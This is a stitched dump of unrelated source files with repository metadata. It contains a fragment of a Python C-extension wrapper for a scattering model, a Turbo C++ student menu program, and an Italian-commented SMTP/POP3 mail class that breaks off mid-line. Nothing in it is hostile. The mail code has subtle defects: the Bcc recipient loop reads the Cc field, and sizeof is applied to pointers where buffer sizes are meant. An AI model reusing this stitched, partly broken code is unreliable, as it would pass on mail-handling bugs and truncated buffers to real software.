PyDict_GetItemString(self->dispersion, "effect_radius"); self->model->effect_radius.dispersion->accept_as_destination(visitor, self->model->effect_radius.dispersion, disp_dict); // Get input and determine whether we have to supply a 1D or 2D return value. if ( !PyArg_ParseTuple(args,"O",&pars) ) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.run expects a q value."); return NULL; } // Check params if( PyList_Check(pars)==1) { // Length of list should be 2 for I(qx, qy)) npars = PyList_GET_SIZE(pars); if(npars!=2) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.run expects a double or a list of dimension 2."); return NULL; } // We have a vector q, get the qx and qy values at which // to evaluate I(qx,qy) qx_value = CHardsphereStructure_readDouble(PyList_GET_ITEM(pars,0)); qy_value = CHardsphereStructure_readDouble(PyList_GET_ITEM(pars,1)); return Py_BuildValue("d",(*(self->model))(qx_value,qy_value)); } else { // We have a scalar q, we will evaluate I(q) qx_value = CHardsphereStructure_readDouble(pars); return Py_BuildValue("d",(*(self->model))(qx_value)); } } static PyObject * reset(CHardsphereStructure *self, PyObject *args) { return Py_BuildValue("d",0.0); } static PyObject * set_dispersion(CHardsphereStructure *self, PyObject *args) { PyObject * disp; const char * par_name; if ( !PyArg_ParseTuple(args,"sO", &par_name, &disp) ) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.set_dispersion expects a DispersionModel object."); return NULL; } void *temp = PyCObject_AsVoidPtr(disp); DispersionModel * dispersion = static_cast<DispersionModel *>(temp); // Ugliness necessary to go from python to C // TODO: refactor this if (!strcmp(par_name, "effect_radius")) { self->model->effect_radius.dispersion = dispersion; } else { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.set_dispersion expects a valid parameter name."); return NULL; } DispersionVisitor* visitor = new DispersionVisitor(); PyObject * disp_dict = PyDict_New(); dispersion->accept_as_source(visitor, dispersion, disp_dict); PyDict_SetItemString(self->dispersion, par_name, disp_dict); return Py_BuildValue("i",1); } static PyMethodDef CHardsphereStructure_methods[] = { {"run", (PyCFunction)run , METH_VARARGS, "Evaluate the model at a given Q or Q, phi"}, {"runXY", (PyCFunction)runXY , METH_VARARGS, "Evaluate the model at a given Q or Qx, Qy"}, {"calculate_ER", (PyCFunction)calculate_ER , METH_VARARGS, "Evaluate the model at a given Q or Q, phi"}, {"evalDistribution", (PyCFunction)evalDistribution , METH_VARARGS, "Evaluate the model at a given Q or Qx, Qy vector "}, {"reset", (PyCFunction)reset , METH_VARARGS, "Reset pair correlation"}, {"set_dispersion", (PyCFunction)set_dispersion , METH_VARARGS, "Set the dispersion model for a given parameter"}, {NULL} }; static PyTypeObject CHardsphereStructureType = { PyObject_HEAD_INIT(NULL) 0, /*ob_size*/ "CHardsphereStructure", /*tp_name*/ sizeof(CHardsphereStructure), /*tp_basicsize*/ 0, /*tp_itemsize*/ (destructor)CHardsphereStructure_dealloc, /*tp_dealloc*/ 0, /*tp_print*/ 0, /*tp_getattr*/ 0, /*tp_setattr*/ 0, /*tp_compare*/ 0, /*tp_repr*/ 0, /*tp_as_number*/ 0, /*tp_as_sequence*/ 0, /*tp_as_mapping*/ 0, /*tp_hash */ 0, /*tp_call*/ 0, /*tp_str*/ 0, /*tp_getattro*/ 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ "CHardsphereStructure objects", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ CHardsphereStructure_methods, /* tp_methods */ CHardsphereStructure_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ (initproc)CHardsphereStructure_init, /* tp_init */ 0, /* tp_alloc */ CHardsphereStructure_new, /* tp_new */ }; //static PyMethodDef module_methods[] = { // {NULL} //}; /** * Function used to add the model class to a module * @param module: module to add the class to */ void addCHardsphereStructure(PyObject *module) { PyObject *d; if (PyType_Ready(&CHardsphereStructureType) < 0) return; Py_INCREF(&CHardsphereStructureType); PyModule_AddObject(module, "CHardsphereStructure", (PyObject *)&CHardsphereStructureType); d = PyModule_GetDict(module); CHardsphereStructureError = PyErr_NewException("CHardsphereStructure.error", NULL, NULL); PyDict_SetItemString(d, "CHardsphereStructureError", CHardsphereStructureError); }
[ [ [ 1, 19 ], [ 21, 34 ], [ 36, 61 ], [ 66, 187 ], [ 189, 189 ], [ 191, 278 ], [ 283, 538 ] ], [ [ 20, 20 ], [ 35, 35 ], [ 62, 65 ], [ 188, 188 ], [ 190, 190 ], [ 279, 282 ] ] ]
18c65fdd6dcfedce9b435698b663ec74233c1504
9b75c1c40dbeda4e9d393278d38a36a61484a5b6
/cpp files to be pasted in INCLUDE directory/MENU2.CPP
b444f9e8f2bea4ee0d817013bb7c5fcf0193ae1a
[]
no_license
yeskarthik/Project-Shark
b5fe9f14913618f0205c4a82003e466da52f7929
042869cd69b60e958c65de2a17b0bd34612e28dc
refs/heads/master
2020-05-22T13:49:42.317314
2011-04-06T06:35:21
2011-04-06T06:35:21
1,575,801
0
0
null
null
null
null
UTF-8
C++
false
false
7,717
cpp
#include<iostream.h> #include<conio.h> #include<graphics.h> #include<paint.cpp> #include<piano.cpp> #include<primes.cpp> #include<bally.cpp> #include<ballyy.cpp> #include<puzzle.cpp> #include<sparkal.cpp> #include<fade.cpp> #include<intro.cpp> int tim=1; void main(); void menumain(); void border(); void arrow(int); void move(char); float ii=125; char ch; void ackno() { cleardevice(); settextstyle(4,0,7); outtextxy(50,20,"The Shark Associates "); settextstyle(2,0,5); setcolor(CYAN); outtextxy(50,160,"We would like to thank"); outtextxy(50,180,"Our teachers Mrs.Nirmala Devi, Mrs.Harifa Begum,"); outtextxy(50,200,"Professor TR Subramaniam, "); outtextxy(50,220,"Our Parents,our School,"); outtextxy(50,240,"And last but not the least"); outtextxy(50,260,"Our Friends S.Jaichander XII B,"); outtextxy(50,280,"V.Giridhari XII C , Anush XII D ,V.Keshav X C"); outtextxy(50,300,"for helping us in this Project..."); outtextxy(50,320,"Thank you !!!!"); outtextxy(50,380,"COPYRIGHTS -: THE SHARK ASSOCIATES :-"); getch(); } void introd() { int x,y,j,c,e,g,da; cleardevice(); for(int ii=0;ii<=210;ii++) { sound(ii*10); c=random(12); setcolor(c); circle(320,240,ii); delay(50); setcolor(BLACK); circle(320,240,ii); nosound(); } for(int r=0;r<=640;r+=50) { sound(r+40); setcolor(3); line(1,r,640,r); line(r,1,r,640); line(1,1,840,640); line(650,1,1,480); delay(80); nosound(); } for(int t=0;t<=230;t+=8) { sound(t*10); setcolor(3); circle(320,240,t); setcolor(3); ellipse(320,240,0,360,t,80); ellipse(320,240,0,360,80,t); delay(80); nosound(); } for(int z=0;z<80;z++) { sound(500+z); da=random(12); setcolor(da); circle(320,240,z); delay(50); nosound(); } for(int q=80;q<340;q++) { sound(500*q); setcolor(0); circle(320,240,q); delay(50); nosound(); } do { j=random(12); setcolor(j); settextstyle(3,0,6); outtextxy(250,330,"SRIRAM"); outtextxy(240,80,"KARTHIK"); settextstyle(3,1,6); outtextxy(150,140,"DEEPAK"); outtextxy(430,140,"SRIHARI"); }while(!kbhit()); getch(); } int next=0; int tellme=0,endy=0; void bgmusic(char song[]) { char st[5]; ifstream h(song,ios::in); if(!h.eof()) { h.seekg(tellme,ios::beg); h>>st; while(!h.eof()&&!kbhit()) { // nosound(); if(strcmp(st,"s")==0) { f(s) } else if(strcmp(st,"r")==0) { f(r1) } else if(strcmp(st,"r_")==0) { f(r_) } else if(strcmp(st,"g_")==0) { f(g_) } else if(strcmp(st,"g")==0) { f(g) } else if(strcmp(st,"m")==0) { f(m1) } else if(strcmp(st,"m_")==0) { f(m_) } else if(strcmp(st,"p")==0) { f(pe) } else if(strcmp(st,"d1")==0) { f(d1) } else if(strcmp(st,"d_")==0) { f(d_) } else if(strcmp(st,"n_")==0) { f(n_) } else if(strcmp(st,"ne")==0) { f(ne) } else if(strcmp(st,"sa")==0) { f(sa) } else if(strcmp(st,"ri_")==0) { f(ri_) } else if(strcmp(st,"ri")==0) { f(ri) } else if(strcmp(st,"ga_")==0) { f(ga_) } else if(strcmp(st,"ga")==0) { f(ga) } else if(strcmp(st,"ma")==0) { f(ma) } else if(strcmp(st,"ma_")==0) { f(ma_) } else if(strcmp(st,"pa")==0) { f(pa) } else if(strcmp(st,"da")==0) { f(da) } else if(strcmp(st,"da_")==0) { f(da_) } else if(strcmp(st,"ni_")==0) { f(ni_) } else if(strcmp(st,"ni")==0) { f(ni) } else if(strcmp(st,"saa")==0) { f(saa) } else if(strcmp(st,"rii_")==0) { f(rii_) } else if(strcmp(st,"rii")==0) { f(rii) } else if(strcmp(st,"gaa_")==0) { f(gaa_) } else if(strcmp(st,"gaa")==0) { f(gaa) } else if(strcmp(st,"maa")==0) { f(maa) } else if(strcmp(st,"maa_")==0) { f(maa_) } else if(strcmp(st,"paa")==0) { f(paa) } else if(strcmp(st,"daa")==0) { f(daa) } else if(strcmp(st,"daa_")==0) { f(daa_) } else if(strcmp(st,"nii_")==0)f(nii_) else if(strcmp(st,"nii")==0)f(nii) else if(strcmp(st,"d")==0)d else if(strcmp(st,"n")==0)nosound(); h>>st; d d d } tellme=h.tellg(); nosound(); } h.seekg(0,ios::end); endy=h.tellg(); if(tellme==endy){next=1;tellme=0;} // else cout<<"\nFile Not Found"; // delay(500); } void main() { clrscr(); int a=0,b,flag=0; initgraph(&a,&b,"h:\\tc1\\bgi"); if(tim==1)//introd(); tim++; cleardevice(); if(flag==0) { flag=1; cleardevice(); } menumain(); } void menumain() { cleardevice(); setcolor(GREEN); cleardevice(); border(); settextstyle(11,HORIZ_DIR,2); outtextxy(50,125,"1.Sharx Music"); outtextxy(50,150,"2.Shark Draw"); outtextxy(50,175,"3.Puzzle"); outtextxy(50,200,"4.Bally"); outtextxy(50,225,"5.Reflex"); outtextxy(50,250,"6.Exit"); setcolor(RED); arrow(ii); while(ch!='q') { if(next==0)bgmusic("roja.txt"); else if(next==1)bgmusic("dhoom.txt"); ch=getch(); sound(3000); delay(50); nosound(); move(ch); } } int q=0;//160 int w=0;//10 void arrow(int k) { line(q+15,k,q+35,k); line(q+35,k,q+25,k-5); line(q+35,k,q+25,k+5); } void move(char ch) { int a=RED,b=YELLOW; if (ch==13) { if(q==0) { if (ii==125) { eff3(&a,&b); pianomain(); } if (ii==150) { a++;b++; eff2(&a,&b); paintmain(); } if (ii==175) { a++;b++; eff2(&a,&b); puzzlemain(); } if (ii==200) { a++;b++; eff2(&a,&b); ballymain(); } if (ii==250) { a++;b++; eff2(&a,&b); ackno(); exit(0); } if (ii==225) { a++;b++; eff3(&a,&b); bally1main(); } } main(); } if (ch=='d'|| ch=='D') { setcolor(BLACK); arrow(ii); if(ii==250&&q==160) { q=0;w=0;ii=100; } if (ii==250) {ii=100;q=0;w=10;} ii+=25; setcolor(RED); arrow(ii); } if (ch=='a'|| ch=='A') { setcolor(BLACK); arrow(ii); if(ii==125&&q==160) { ii=275; } if (ii==125) {ii=275;q=0;w=10;} setcolor(RED); ii-=25; arrow(ii); } } void border() { setfillstyle(1,BLACK); settextstyle(2,0,0); rectangle(1,1,600,300); rectangle(9,9,591,291); line(350,9,350,291); line(360,9,360,291); setcolor(BROWN); outtextxy(390,55,"TO MOVE ARROW USE"); outtextxy(390,75,"'A' TO MOVE UP AND "); outtextxy(390,95,"'D' TO MOVE DOWN. "); outtextxy(390,115,"ENTER TAKES YOU TO "); outtextxy(390,135,"THE MENU TO WHICH THE"); outtextxy(390,155,"PIONTER IS POINTING."); outtextxy(390,175,"Q HELPS IN EXITING"); outtextxy(390,195,"ANY TIME."); setfillstyle(HATCH_FILL,YELLOW); floodfill(7,7,GREEN); floodfill(355,15,GREEN); rectangle(1,330,600,470); setcolor(RED); settextstyle(2,0,0); outtextxy(30,40,"THE SHARK"); setcolor(GREEN); setcolor(RED); outtextxy(150,335,"Welcome... Hope U Enjoy using our Package..."); outtextxy(175,355,"For more information mail us at "); outtextxy(175,375,"[email protected]"); outtextxy(175,385,"[email protected]"); outtextxy(175,395,"[email protected]"); outtextxy(175,405,"[email protected]"); outtextxy(175,455,"(:Thank you:)"); setcolor(GREEN); outtextxy(350,455," :-The Sharks Associates-:"); setcolor(GREEN); }
[ [ [ 1, 431 ] ] ]
f1d5000e106e1d00af753a5b5778e9ba6537b9fa
36bf908bb8423598bda91bd63c4bcbc02db67a9d
/Library/CMail.cpp
03839cbcbd5f68c2c89f95857d81d1dbad4be499
[]
no_license
code4bones/crawlpaper
edbae18a8b099814a1eed5453607a2d66142b496
f218be1947a9791b2438b438362bc66c0a505f99
refs/heads/master
2021-01-10T13:11:23.176481
2011-04-14T11:04:17
2011-04-14T11:04:17
44,686,513
0
1
null
null
null
null
UTF-8
C++
false
false
36,734
cpp
/* CMail.cpp Classe base per interfaccia SMTP/POP3 (SDK). Luca Piergentili, 24/09/96 [email protected] */ #include "env.h" #include "pragma.h" #include "macro.h" #include "typedef.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include "strings.h" #include <ctype.h> #include "CDateTime.h" #include "CMail.h" #include "traceexpr.h" //#define _TRACE_FLAG _TRFLAG_TRACEOUTPUT #define _TRACE_FLAG _TRFLAG_NOTRACE #define _TRACE_FLAG_INFO _TRFLAG_NOTRACE #define _TRACE_FLAG_WARN _TRFLAG_NOTRACE #define _TRACE_FLAG_ERR _TRFLAG_NOTRACE #if (defined(_DEBUG) && defined(_WINDOWS)) && (defined(_AFX) || defined(_AFXDLL)) #ifdef PRAGMA_MESSAGE_VERBOSE #pragma message("\t\t\t"__FILE__"("STR(__LINE__)"): using DEBUG_NEW macro") #endif #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif /* CMail() */ CMail::CMail() { memset(&m_Mail,'\0',sizeof(MAIL)); Reset(); } /* ~CMail() */ CMail::~CMail() { Reset(); } /* Reset() Inizializza. */ void CMail::Reset(void) { // allocati dalle Set...() e/o durante l'invio via script if(m_Mail.to) delete [] m_Mail.to,m_Mail.to = NULL; if(m_Mail.cc) delete [] m_Mail.cc,m_Mail.cc = NULL; if(m_Mail.bcc) delete [] m_Mail.bcc,m_Mail.bcc = NULL; // azzera la struttura memset(&m_Mail,'\0',sizeof(MAIL)); // imposta i campi interni strcpy(m_Mail.mime_version,MIME_VERSION); strcpy(m_Mail.x_mailer,X_MAILER); // resetta i codici d'errore ResetWinsockError(); ResetMailError(); // flags #if defined(_WINDOWS) #ifdef _DEBUG m_Mail.flag.quiet = 0; #else m_Mail.flag.quiet = 1; #endif #endif } /* SetTo() Imposta il campo 'To:' dell'email. */ void CMail::SetTo(const char* to) { int len = strlen(to) + 1; m_Mail.to = new char[len]; memset(m_Mail.to,'\0',len); strcpyn(m_Mail.to,to,len); } /* SetCc() Imposta il campo 'Cc:' dell'email. */ void CMail::SetCc(const char* cc) { int len = strlen(cc) + 1; m_Mail.cc = new char[len]; memset(m_Mail.cc,'\0',len); strcpyn(m_Mail.cc,cc,len); } /* SetBcc() Imposta il campo 'Bcc:' dell'email. */ void CMail::SetBcc(const char* bcc) { int len = strlen(bcc) + 1; m_Mail.bcc = new char[len]; memset(m_Mail.bcc,'\0',len); strcpyn(m_Mail.bcc,bcc,len); } /* SetLog() Imposta il nome del file di log. */ void CMail::SetLog(const char* log) { // flags (log delle attivita' aggiungendo al file esistente) m_Mail.flag.log = 1; m_Mail.flag.append = 1; m_Mail.flag.create = 0; strcpyn(m_Mail.log,log,sizeof(m_Mail.log)); m_Mail.hLog = HFILE_ERROR; if(m_Mail.flag.append) { if((m_Mail.hLog = _lopen(m_Mail.log,OF_WRITE))==HFILE_ERROR) m_Mail.hLog = _lcreat(m_Mail.log,0); } else { m_Mail.hLog = _lcreat(m_Mail.log,0); } if(m_Mail.hLog!=HFILE_ERROR) _lclose(m_Mail.hLog); } /* Receive() Scarica le email presenti sul server. Restituisce 0 o il codice winsock in caso d'errore. */ int CMail::Receive(FPCALLBACK /*lpfnCallback*/ /*=NULL*/,LPVOID /*lpVoid*/ /*=NULL*/) { int tot; char buffer[MAX_TEXTLINE+1]; // azzera i codici d'errore CSock::SetWSALastError(0); ResetWinsockError(); ResetMailError(); // apre il socket if(CSock::Open()) { // si collega al server if(!CSock::Connect(m_Mail.pop3host,m_Mail.pop3port)) { SetWinsockError(); goto done; } // controlla se la connessione e' avvenuta correttamente if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); goto done; } /* USER */ _snprintf(buffer,sizeof(buffer)-1,"USER %s\r\n",m_Mail.user); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); goto done; } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); goto done; } /* PASS */ _snprintf(buffer,sizeof(buffer)-1,"PASS %s\r\n",m_Mail.pass); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); goto done; } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); goto done; } // controlla se esiste posta in attesa sul server if((tot = Stat()) > 0) { // scarica l'email if(ReceiveEmail(buffer,sizeof(buffer),tot)!=0) goto done; } else if(tot==0) // nessun email presente { ; } else // errore goto done; done: /* QUIT */ SendData("QUIT\r\n"); // aspetta l'ok del server prima di chiudere il socket if(Ack(buffer,sizeof(buffer))!=0) SetMailError(buffer); // chiude il socket CSock::Close(); } // restituisce l'errore winsock return(CSock::GetWSALastError()); } /* ReceiveHeader() Recupera l'header del messaggio email. Ritorna 0 o -1 in caso d'errore. */ int CMail::ReceiveHeader(int email,char* header,int header_size) { int len; int tot_len = 0; register char* s; register char* p; char subject[MAX_SUBJECT_LEN+1]; char from[MAX_EMAIL_LEN+1]; char buffer[MAX_TEXTLINE+1]; /* TOP */ _snprintf(header,sizeof(header)-1,"TOP %d 1\r\n",email); if(SendData(header)==SOCKET_ERROR) { SetWinsockError(); return(-1); } // cicla (in ricezione) fino a trovare la fine dell'header do { // riceve l'header dal server if(ReceiveData(buffer,sizeof(buffer))==SOCKET_ERROR) { SetWinsockError(); if(*buffer) SetMailError(buffer); return(-1); } len = strlen(buffer); // l'header (+ la prima linea dell'email) potrebbe essere piu' lungo del previsto if(len + tot_len < header_size) strcpy((header+tot_len),buffer); tot_len += len; } while(strstr(buffer,"\r\n.\r\n")==NULL); // cerca la fine dell'header per controllare se e' riuscito a ricevere tutti i dati if(strstr(header,"\r\n.\r\n")!=NULL) { // cerca il campo Subject: if((s = stristr(header,"Subject: "))!=NULL) { s += 9; p = subject; // copia il contenuto (subject) nel buffer locale while(*s && *s!='\r' && (p-subject < sizeof(subject))) *p++ = *s++; *p = '\0'; } else strcpy(subject,""); // cerca il campo From: if((s = stristr(header,"From: "))!=NULL) { s += 6; p = from; // copia il contenuto (from) nel buffer locale while(*s && *s!='\r' && (p-from < sizeof(from))) *p++ = *s++; *p = '\0'; } else strcpy(from,""); // copia nel buffer di destinazione i campi dell'header (subject/from) if((int)(strlen(subject) + strlen(from)) < header_size) _snprintf(header,sizeof(header)-1,"\n\"%s\"\nfrom:\n%s",subject,from); else { memset(header,'\0',header_size); return(-1); } } return(0); } /* ReceiveEmail() Riceve i messaggi email. Restituisce 0 o il codice winsock in caso d'errore. */ int CMail::ReceiveEmail(char* buffer,int size,int tot) { int i; #if defined(_WINDOWS) int prompt = IDNO; #endif int current = 0; char* crlf = NULL; int crlf_len = (size * 2) + 1; char header[(MAX_TEXTLINE*4)+1]; CDateTime date(GMT); // azzera il codice winsock CSock::SetWSALastError(0); #if defined(_WINDOWS) // visualizza il totale di email presenti nella casella di posta if(!m_Mail.flag.quiet) { _snprintf(buffer,sizeof(buffer)-1,"%d messages into mailbox.",tot); ::MessageBox(NULL,buffer,"CMail::ReceiveEmail()",MB_OK|MB_ICONINFORMATION|MB_TASKMODAL|MB_SETFOREGROUND|MB_TOPMOST); prompt = ::MessageBox(NULL,"Do you want to confirm each download ?","CMail::ReceiveEmail()",MB_YESNO|MB_ICONQUESTION|MB_TASKMODAL|MB_SETFOREGROUND|MB_TOPMOST); } #endif // per ogni email for(i = 0; i < tot; i++) { // email corrente current++; #if defined(_WINDOWS) // chiede (a seconda del flag) la conferma per il download dell'email if(prompt==IDYES) { // se la ricezione dell'header non riesce, visualizza solo il totale delle email presenti if(ReceiveHeader(current,header,sizeof(header))==0) { _snprintf(buffer,sizeof(buffer)-1,"Do you want get message %d of %d:%s ?",current,tot,header); prompt = ::MessageBox(NULL,buffer,"CMail::ReceiveEmail()",MB_YESNOCANCEL|MB_ICONQUESTION|MB_TASKMODAL|MB_SETFOREGROUND|MB_TOPMOST); } switch(prompt) { case IDCANCEL: CSock::SetWSALastError(0); goto done; case IDNO: continue; case IDYES: default: break; } } #endif // crea l'intestazione per il mailer e la registra nella mailbox _snprintf(buffer,sizeof(buffer)-1,"\r\nFrom ???@??? %s\r\n",date.GetFormattedDate()); if(*(m_Mail.inmbx)) InBox(buffer,strlen(buffer)); /* RETR */ _snprintf(buffer,sizeof(buffer)-1,"RETR %d\r\n",current); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); goto done; } // alloca ed azzera i buffer per la ricezione dell'email crlf = new char[crlf_len]; memset(crlf,'\0',crlf_len); memset(buffer,'\0',size); // scarica l'email ciclando (in ricezione) fino a trovarne la fine (\r\n.\r\n) do { // copia nel buffer di controllo i dati ricevuti strcpyn(crlf,buffer,sizeof(crlf)); // ricezione dati if(ReceiveData(buffer,size)==SOCKET_ERROR) { SetWinsockError(); if(*buffer) SetMailError(buffer); goto done; } // registra l'email nella mailbox if(*(m_Mail.inmbx)) InBox(buffer,strlen(buffer)); // aggiunge al buffer di controllo i dati ricevuti strcat(crlf,buffer); } while(strstr(buffer,"\r\n.\r\n")==NULL && strstr(crlf,"\r\n.\r\n")==NULL); /* DELE */ if(!m_Mail.flag.leavemail) { // invia il comando per eliminare l'email _snprintf(buffer,sizeof(buffer)-1,"DELE %d\r\n",current); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); goto done; } // chiede risposta al server if(ReceiveData(buffer,size)==SOCKET_ERROR) { SetWinsockError(); if(*buffer) SetMailError(buffer); goto done; } } } done: if(crlf) delete [] crlf; // restituisce l'errore winsock return(CSock::GetWSALastError()); } /* Stat() Ricava il numero di email presenti nella casella di posta. Ritorna >=0 o -1 in caso d'errore. */ int CMail::Stat(void) { char tot[16]; register char* p_tot = tot; char buffer[MAX_TEXTLINE+1]; register char* p_buf = buffer; /* STAT */ strcpy(buffer,"STAT\r\n"); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } // estrae dalla risposta del server il numero di email presenti nella casella di posta while(!isdigit(*p_buf++)) ; --p_buf; while(*p_buf && isdigit(*p_buf) && (p_tot-tot) < sizeof(tot)) *p_tot++ = *p_buf++; *p_tot = (char)NULL; // restituisce il numero di email presenti return(atoi(tot)); } /* Send() Invia l'email al server. Restituisce 0 o il codice winsock in caso d'errore. */ int CMail::Send(FPCALLBACK lpfnCallback/* = NULL */,LPVOID lpVoid/* = NULL */) { int error = 0; char buffer[MAX_TEXTLINE+1]; MAILSTATUS MailStatus; // azzera il codice d'errore winsock CSock::SetWSALastError(0); ResetWinsockError(); ResetMailError(); if(lpfnCallback) { MailStatus.mailstatus = MAIL_STATUS_OPEN; lpfnCallback(&MailStatus,lpVoid); } // apre il socket if(CSock::Open()) { if(lpfnCallback) { MailStatus.mailstatus = MAIL_STATUS_CONNECT; lpfnCallback(&MailStatus,lpVoid); } // si connette al server if(!CSock::Connect(m_Mail.smtphost,m_Mail.smtpport)) { SetWinsockError(); goto done; } // controlla se la connessione e' avvenuta correttamente if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); goto done; } /* HELO */ _snprintf(buffer,sizeof(buffer)-1,"HELO %s\r\n",CSock::GetLocalHostName()); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); goto done; } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); goto done; } // invia l'email do { if(lpfnCallback) { MailStatus.mailstatus = MAIL_STATUS_PREPARING; lpfnCallback(&MailStatus,lpVoid); } // se non viene specificato un destinatario legge dallo script if(m_Mail.to && *(m_Mail.to)) { if((m_Mail.message && *(m_Mail.message)) || (m_Mail.attach && *(m_Mail.attach))) { // crea il testo dell'email a partire dai file testo/attachment if(CreateMailBody()!=0) goto done; // invia l'header dell'email if(SendHeader(lpfnCallback,lpVoid)!=0) goto done; // invia il testo dell'email if(SendEmail(lpfnCallback,lpVoid)!=0) goto done; } } } while(ReadScript(error)!=0); /* QUIT */ if(lpfnCallback) { MailStatus.mailstatus = MAIL_STATUS_CLOSE; lpfnCallback(&MailStatus,lpVoid); } SendData("QUIT\r\n"); // aspetta l'ok del server prima di chiudere il socket if(Ack(buffer,sizeof(buffer))!=0) SetMailError(buffer); done: // chiude il socket CSock::Close(); } if(lpfnCallback) { MailStatus.mailstatus = MAIL_STATUS_DONE; lpfnCallback(&MailStatus,lpVoid); } // restituisce l'errore winsock return(CSock::GetWSALastError()); } /* SendHeader() Invia l'header dell'email al server. */ int CMail::SendHeader(FPCALLBACK /*lpfnCallback*/ /* = NULL*/,LPVOID /*lpVoid*/ /* = NULL*/) { char* p; char rcpt[MAX_EMAIL_LEN+1]; char buffer[MAX_TEXTLINE+1]; CDateTime date(GMT); /* MAIL FROM */ _snprintf(buffer,sizeof(buffer)-1,"MAIL FROM:<%s>\r\n",m_Mail.from); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } /* RCPT TO (To:) */ do { p = ParseRCPT(m_Mail.to,rcpt,sizeof(rcpt)); _snprintf(buffer,sizeof(buffer)-1,"RCPT TO:<%s>\r\n",rcpt); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } } while(p!=NULL); /* RCPT TO (Cc:) */ if(m_Mail.cc) { do { p = ParseRCPT(m_Mail.cc,rcpt,sizeof(rcpt)); _snprintf(buffer,sizeof(buffer)-1,"RCPT TO:<%s>\r\n",rcpt); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } } while(p!=NULL); } /* RCPT TO (Bcc:) */ if(m_Mail.bcc) { do { p = ParseRCPT(m_Mail.cc,rcpt,sizeof(rcpt)); _snprintf(buffer,sizeof(buffer)-1,"RCPT TO:<%s>\r\n",rcpt); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } } while(p!=NULL); } /* DATA */ _snprintf(buffer,sizeof(buffer)-1,"DATA\r\n"); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } // crea l'intestazione per il mailer e la registra nella mailbox _snprintf(buffer,sizeof(buffer)-1,"\r\nFrom ???@??? %s\r\n",date.GetFormattedDate()); if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* Date: (se non impostato dal chiamante) */ if(m_Mail.date[0]=='\0') _snprintf(buffer,sizeof(buffer)-1,"Date: %s\r\n",date.GetFormattedDate()); else _snprintf(buffer,sizeof(buffer)-1,"Date: %s\r\n",m_Mail.date); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* From: */ if(*m_Mail.realname) _snprintf(buffer,sizeof(buffer)-1,"From: %s <%s>\r\n",m_Mail.realname,m_Mail.from); else _snprintf(buffer,sizeof(buffer)-1,"From: %s\r\n",m_Mail.from); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* Sender: */ _snprintf(buffer,sizeof(buffer)-1,"Sender: %s\r\n",m_Mail.sender); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* Reply-To: */ _snprintf(buffer,sizeof(buffer)-1,"Reply-To: %s\r\n",m_Mail.reply); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* To: */ _snprintf(buffer,sizeof(buffer)-1,"To: %s\r\n",m_Mail.to); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* Cc: */ if(m_Mail.cc) { _snprintf(buffer,sizeof(buffer)-1,"CC: %s\r\n",m_Mail.cc); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); } /* Bcc: */ if(m_Mail.bcc) { _snprintf(buffer,sizeof(buffer)-1,"BCC: %s\r\n",m_Mail.bcc); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); } /* Subject: */ _snprintf(buffer,sizeof(buffer)-1,"Subject: %s\r\n",m_Mail.subject); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* MIME-Version: */ _snprintf(buffer,sizeof(buffer)-1,"MIME-Version: 